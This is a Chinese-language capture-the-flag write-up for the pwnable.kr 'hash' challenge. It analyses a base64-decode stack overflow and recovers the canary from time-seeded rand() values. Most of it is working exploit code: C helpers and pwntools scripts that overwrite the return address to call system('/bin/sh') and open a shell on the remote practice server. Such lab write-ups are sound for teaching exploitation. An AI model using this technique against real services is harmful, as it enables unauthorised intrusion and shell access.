开启了canary和NX保护
int __cdecl main(int argc, const char **argv, const char **envp)
{unsigned int v3; // eaxint v5; // [esp+18h] [ebp-8h]int v6; // [esp+1Ch] [ebp-4h]setvbuf(stdout, 0, 1, 0);setvbuf(stdin, 0, 1, 0);puts("- Welcome to the free MD5 calculating service -");v3 = time(0);srand(v3);v6 = my_hash();printf("Are you human? input captcha : %d\n", v6);__isoc99_scanf("%d", &v5);if ( v6 != v5 ){puts("wrong captcha!");exit(0);}puts("Welcome! you are authenticated.");puts("Encode your data with BASE64 then paste me!");process_hash();puts("Thank you for using our service.");system("echo `date` >> log");return 0;
}
大致看一下,这里的my_hash函数有点怪,它让canary和一些随机数进行了加减运算
然后进入process_hash()
函数
unsigned int process_hash()
{int v0; // ST14_4char *ptr; // ST18_4char v3; // [esp+1Ch] [ebp-20Ch]unsigned int v4; // [esp+21Ch] [ebp-Ch]v4 = __readgsdword(0x14u);memset(&v3, 0, 0x200u);while ( getchar() != '\n' );memset(g_buf, 0, sizeof(g_buf));fgets(g_buf, 1024, stdin);memset(&v3, 0, 0x200u);v0 = Base64Decode(g_buf, (int)&v3);ptr = calc_md5((int)&v3, v0);printf("MD5(data) : %s\n", ptr);free(ptr);return __readgsdword(0x14u) ^ v4;
}
输入数据进行了base64解密放入v3
v3不能存储1024字节解密后的数据,造成了栈溢出。
在本地和远程时间相同生成的随机数是相同的,可以利用这一点获取到canary
hashc.c
#include<stdio.h>
#include<time.h>
int main()
{time_t seed=time(0);srand(seed);int v4,a;int v[8];for(int i=0;i<=7;i++){v[i]=rand();}printf("%x",v[4]-v[6]+v[7]+v[2]-v[3]+v[1]+v[5]);
}
exp.py
from pwn import *
import os
import base64
bss=0x0804B0E0call_system=0x08049187
def get_key():output=os.popen("./hashc")key=int(output.read(),16)print "key="+hex(key)return key
#p=process("./hash")
p=remote("pwnable.kr",9002)
#gdb.attach(p,"b *0x0804902B")p.recvuntil("Are you human? input captcha : ")
key=get_key()
data=int(p.recv())
print "data="+hex(data)
canary=data-keyprint "canary="+hex(canary)
p.sendline(str(data))
p32(canary)
payload=b64e("A"*0x200+p32(canary)+"a"*12+p32(call_system)+p32(bss+716+1))
print payload
print "len_payload=",len(payload)payload+="\x00/bin/sh\x00"p.recvuntil("paste me!")
p.sendline(payload)p.interactive()
不过这个脚本有一点问题,canary是减过之后获取到的,如果为负数在p32的时候会失败。所以要多次尝试。
贴出一套更优的exp
hashc.c
#include <stdio.h>
#include <stdlib.h>int main(int argc, char **argv)
{int m = atoi(argv[2]); // argv[2] = captchaint rands[8];int i;srand(atoi(argv[1])); // argv[1] = timefor (i = 0; i <= 7; i++){rands[i] = rand();}m -= rands[1] + rands[2] - rands[3] + rands[4] + rands[5] - rands[6] + rands[7];printf("%x\n", m);return 0;
}
exp.py
import os
import time
from pwn import *context(os='linux', arch='i386', log_level='debug')p = process("./hash")
gdb.attach(p,"b *0x08049026")
p.recvuntil(' : ')
captcha = p.recvline().strip()
t = int(time.time()) # time.time() return float valuecookie = int('0x' + os.popen('./cal_stack_canary %s %s' %(t, captcha)).read().strip(), 16)p.sendline(captcha)
p.recvuntil('me!\n')call_system_addr = 0x8049187
g_buf_addr = 0x804b0e0payload = 0x200 * 'a'
payload += p32(cookie)
payload += 12 * 'b'
payload += p32(call_system_addr)
payload += p32(g_buf_addr + 537*4/3)payload = b64e(payload)
payload += '/bin/sh\x00'p.sendline(payload)p.interactive()
不仅加载文件还有参数,新的调用姿势。